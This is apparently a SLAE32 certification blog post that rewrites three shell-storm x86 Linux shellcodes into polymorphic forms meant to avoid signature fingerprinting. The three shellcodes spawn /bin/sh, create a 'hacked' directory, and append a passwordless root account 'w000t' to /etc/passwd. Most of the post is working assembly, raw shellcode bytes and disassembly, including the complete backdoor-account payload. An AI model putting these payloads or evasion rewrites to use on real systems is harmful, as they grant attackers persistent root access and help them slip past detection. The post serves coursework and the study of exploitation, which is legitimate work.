/SLAE32: Assignment 6

# Introduction

For this assignment, I had to create polymorphic versions of three shellcodes hosted on shell-storm.org. Polymorphic basically means that the functionality is kept intact, but the instructions used are different to avoid fingerprinting. Additionally, junk instructions (NOP-equivalents) can be added since they do not change the functionality, but they do change the signature. In this assigment there was a bonus objective for the polymorphic shellcode to be shorter than the orginal shellcode. I managed to do this for two of the three.

# Linux/x86 - execve(/bin/sh) - 28 bytes

This shellcode executes /bin/sh and then exits. The original shellcode is listed below with some comments added by me.
global _start
section .text
	xor eax, eax		; EAX = 0
	push eax		; \x00\x00\x00\x00
	push 0x68732f2f		; hs//
	push 0x6e69622f		; nib/
	mov ebx, esp		; EBX = ESP
	mov ecx, eax		; ECX = 0x00000000
	mov edx, eax		; EDX = 0x00000000
	mov al, 0xb		; EAX = 0xB (SYS_EXECVE)
	int 0x80		; SYS_EXECVE
	xor eax, eax		; EAX = 0
	inc eax			; EAX = 1
	int 0x80		; SYS_EXIT   
My polymorphic version is 29 bytes, so it is one longer. The code itself is listed below:
global _start
section .text
	jmp short call_main

	pop ebx			; EBX = "/bin/shA"
	xor eax, eax 		; EAX = 0
	mov [ebx+7], byte al	; EBX = "/bin/sh\x00"
	mov ecx, eax		; ECX = 0
	mov edx, eax		; EDX = 0
	mov al, 0xb		; EAX = 0xB (SYS_EXECVE)
	int 0x80		; SYS_EXECVE

	call main
	filename: db "/bin/shA"
The first change I made is using a Jmp-Call-Pop structure instead of pushing "/bin/sh" to the stack and referencing it like that. The next biggest change is dropping the syscall to exit() since execve hands over control to /bin/sh once it runs, so there is no need for this second syscall. Aside from that it was just getting the code to work in the new structure.

# Linux/x86 - mkdir() & exit() - 36 bytes

This second shellcode creates a folder called "hacked" in the current working directory and exits. The commands were not given, so I used ndisasm to reverse engineer the shellcode and try to recreate the original shellcode.
echo -ne "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -u -
The output from that command is the following:
00000000  EB16              jmp short 0x18
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884606            mov [esi+0x6],al
00000008  B027              mov al,0x27
0000000A  8D1E              lea ebx,[esi]
0000000C  66B9ED01          mov cx,0x1ed
00000010  CD80              int 0x80
00000012  B001              mov al,0x1
00000014  31DB              xor ebx,ebx
00000016  CD80              int 0x80
00000018  E8E5FFFFFF        call 0x2
0000001D  6861636B65        push dword 0x656b6361
00000022  64                fs
00000023  23                db 0x23
After a quick look over, it seemed like the shellcode used a Jmp-Call-Pop structure, and that the bytes from 0x1D onwards were some defined variable ("hacked#" in this case), so my recreation looks like this:
global _start
section .text
	jmp call_func

	pop esi
	xor eax, eax
	mov [esi+0x6], al
	mov al, 0x27
	lea ebx, [esi]
	mov cx, 0x1ed
	int 0x80

	mov al, 0x1
	xor ebx, ebx
	int 0x80

	call func
	foldername: db "hacked#"
My polymorphic version of this shellcode is 29 bytes, which is 7 bytes shorter than the original in this case!
global _start
section .text
	xor eax, eax		; EAX = 0

	push word ax		; "\x00\x00"
	push word 0x6465	; "de"
	push dword 0x6b636168	; "kcah"
	mov ebx, esp		; EBX => const char *pathname = "hacked\x00"
	mov al, 0x27		; EAX = 0x27 (SYS_MKDIR)
	mov cx, 0x1ed		; ECX => mode_t mode = 0x1ED (0755 aka. rwxr-xr-x)
	int 0x80		; int mkdir(const char *pathname, mode_t mode)

	;;; === === === === === === === ===

	mov al, 0x1		; EAX = 0x1 (SYS_EXIT)
	xor ebx, ebx		; EBX => int status = 0
	int 0x80		; int exit(int status);
The original shellcode used a Jmp-Call-Pop setup, so I switched that to pushing "hacked" to the stack instead (it also saves bytes in this case). The original had the string "hacked#" and then overwrote the "#" character with a null-byte to mark the end of the string, but I got rid of this and simply pushed null-bytes to the stack behind "hacked" to avoid this step and save bytes. The rest of the shellcode is the same.

# Linux/x86 - add a passwordless local root account w000t - 177 bytes

The original shellcode this time adds a local root account to the machine called "w000t" which has no password. It requires elevated privileges to do so, and it works by appending a line to /etc/passwd. As with the last shellcode, this one had no comments detailing the original commands so I had to use ndisasm again to piece together what it originally looked like in assembly. The command I used is:
echo -ne "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x47\x89\x76\x49\x8d\x5e\x08\x89\x5e\x4d\x8d\x5e\x0b\x89\x5e\x51\x89\x46\x55\xb0\x0b\x89\xf3\x8d\x4e\x49\x8d\x56\x55\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x77\x30\x30\x30\x74\x3a\x3a\x30\x3a\x30\x3a\x73\x34\x66\x65\x6d\x30\x64\x65\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44" | ndisasm -u -
And its output was the following:
00000000  EB2A              jmp short 0x2c
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884607            mov [esi+0x7],al
00000008  88460A            mov [esi+0xa],al
0000000B  884647            mov [esi+0x47],al
0000000E  897649            mov [esi+0x49],esi
00000011  8D5E08            lea ebx,[esi+0x8]
00000014  895E4D            mov [esi+0x4d],ebx
00000017  8D5E0B            lea ebx,[esi+0xb]
0000001A  895E51            mov [esi+0x51],ebx
0000001D  894655            mov [esi+0x55],eax
00000020  B00B              mov al,0xb
00000022  89F3              mov ebx,esi
00000024  8D4E49            lea ecx,[esi+0x49]
00000027  8D5655            lea edx,[esi+0x55]
0000002A  CD80              int 0x80
0000002C  E8D1FFFFFF        call 0x2
00000031  2F                das
00000032  62696E            bound ebp,[ecx+0x6e]
00000035  2F                das
00000036  7368              jnc 0xa0
00000038  232D63232F62      and ebp,[dword 0x622f2363]
0000003E  696E2F6563686F    imul ebp,[esi+0x2f],dword 0x6f686365
00000045  207730            and [edi+0x30],dh
00000048  3030              xor [eax],dh
0000004A  743A              jz 0x86
0000004C  3A30              cmp dh,[eax]
0000004E  3A30              cmp dh,[eax]
00000050  3A7334            cmp dh,[ebx+0x34]
00000053  66656D            gs insw
00000056  3064653A          xor [ebp+0x3a],ah
0000005A  2F                das
0000005B  726F              jc 0xcc
0000005D  6F                outsd
0000005E  743A              jz 0x9a
00000060  2F                das
00000061  62696E            bound ebp,[ecx+0x6e]
00000064  2F                das
00000065  626173            bound esp,[ecx+0x73]
00000068  68203E3E20        push dword 0x203e3e20
0000006D  2F                das
0000006E  657463            gs jz 0xd4
00000071  2F                das
00000072  7061              jo 0xd5
00000074  7373              jnc 0xe9
00000076  7764              ja 0xdc
00000078  234141            and eax,[ecx+0x41]
0000007B  41                inc ecx
0000007C  41                inc ecx
0000007D  42                inc edx
0000007E  42                inc edx
0000007F  42                inc edx
00000080  42                inc edx
00000081  43                inc ebx
00000082  43                inc ebx
00000083  43                inc ebx
00000084  43                inc ebx
00000085  44                inc esp
00000086  44                inc esp
00000087  44                inc esp
00000088  44                inc esp
By the looks of it, I deduced that this shellcode probably used the Jmp-Call-Pop setup again, and that the bytes from 0x31 onwards were likely strings being used in execve (the comments in shellcode mentioned that this syscall is used). After dumping strings I ended up with the following recreation of the original assembly code:
global _start
section .text
	jmp call_func

	pop esi

	xor eax, eax
	mov [esi + 0x7], al
	mov [esi + 0xa], al
	mov [esi + 0x47], al
	mov [esi + 0x49], al
	mov [esi + 0x49], esi

	lea ebx, [esi + 0x8]
	mov [esi + 0x4d], ebx
	lea ebx, [esi + 0xb]
	mov [esi + 0x51], ebx
	mov [esi + 0x55], eax

	mov al, 0xb
	mov ebx, esi
	lea ecx, [esi + 0x49]
	lea edx, [esi + 0x55]

	int 0x80

	call func
	filename: db "/bin/sh#-c#/bin/echo w000t::0:0:s4fem0de:/root:/bin/bash >> /etc/passwd#AAAABBBBCCCCDDDD"
My polymorphic version of this particular shellcode is 138 bytes long, which is a full 38 bytes shorter than the original. This is a very significant amount when it comes to shellcoding so I was suprised I managed to pull it off.
global _start
section .text

	xor edx, edx		; EDX = 0
	push edx		; NULL (for envp)
	push edx		; Placeholder for pointer to "/bin/echo ..."
	push edx		; Placeholder for pointer to "-c"
	push edx		; Placeholder for pointer to "/bin/sh"
	push word dx		; ..
	push word 0x6477        ; "dw"
	push 0x73736170         ; "ssap"
	push 0x2f637465         ; "/cte"
	push 0x2f203e3e         ; "/ >>"
	push 0x20687361         ; " hsa"
	push 0x622f6e69         ; "b/ni"
	push 0x622f3a74         ; "b/:t"
	push 0x6f6f722f         ; "oor/"
	push 0x3a3a303a         ; "::0:"
	push 0x303a6564         ; "0:ed"
	push 0x306d6566         ; "0mef"
	push 0x34733a74         ; "4s:t"
	push 0x30307720         ; "00w "
	push 0x6f686365         ; "ohce"
	push 0x2f6e6962         ; "/nib"
	push 0x2f23632d         ; "/#c-"
	push 0x2368732f         ; "#hs/"
	push 0x6e69622f         ; "nib/"

	mov [esp + 0x7], dl	; Replacing '#' with '\x00'
	mov [esp + 0xa], dl	; ...

	mov [esp + 0x48], esp	; Write address of "/bin/sh" to memory
	lea ebx, [esp + 0x8]	; Load address of "-c" into EBX
	mov [esp + 0x4c], ebx	; Write address of "-c" to memory
	lea ebx, [esp + 0xb]	; Load address of "/bin/echo ..." into EBX
	mov [esp + 0x50], ebx	; Write address of "/bin/echo ..." to memory

	mov ebx, esp		; EBX => const char *pathname = "/bin/sh"

	mov eax, edx		; EAX = 0
	mov al, 0xb		; EAX = 0xB (SYS_EXECVE)
	lea ecx, [ebx + 0x48]	; ECX => char *const argv[] = *{'/bin/sh', '-c', '/bin/echo ...'}
	lea edx, [ebx + 0x54]	; EDX => char *const envp[] = *NULL

	int 0x80		; int execve(const char *pathname, char *const argv[], char *const envp[]);
The biggest change is using a stack-based setup instead of Jmp-Call-Pop to store the strings used in execve. Instead of the "AAAABBBBCCCCDDDD" placeholders at the end for string pointers, I pushed null-bytes in my code. The values don't make a different since they will be overwritten anyways. I managed to get rid of one of the "#" which the original code replaces with null-bytes (as does mine). The code for writing the string pointers into memory is essentially the same, as is the syscall for execve. One thing to note is that the line which is appended to /etc/passwd is longer than it needs to be, but so that this retains the original "functionality" of the shellcode, my polymorphic version writes the same line. This just means it's possible to easily save some extra bytes.

Note: In order to test this shellcode it is necessary to run it with elevated privileges, since not everyone can write to /etc/passwd.
Second Note: To generate the push statements for such a long string, I wrote a short Python3 script which automates the process

# Testing

To test the original / polymorphic shellcodes, I reused a compile script I created before. Simply run ./compile.sh 811_mod or whichever shellcode you want, and then run ./shellcode.

# SLAE32 Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: PA-25640

All my code for the exam is available in my SLAE32 exam Github repository.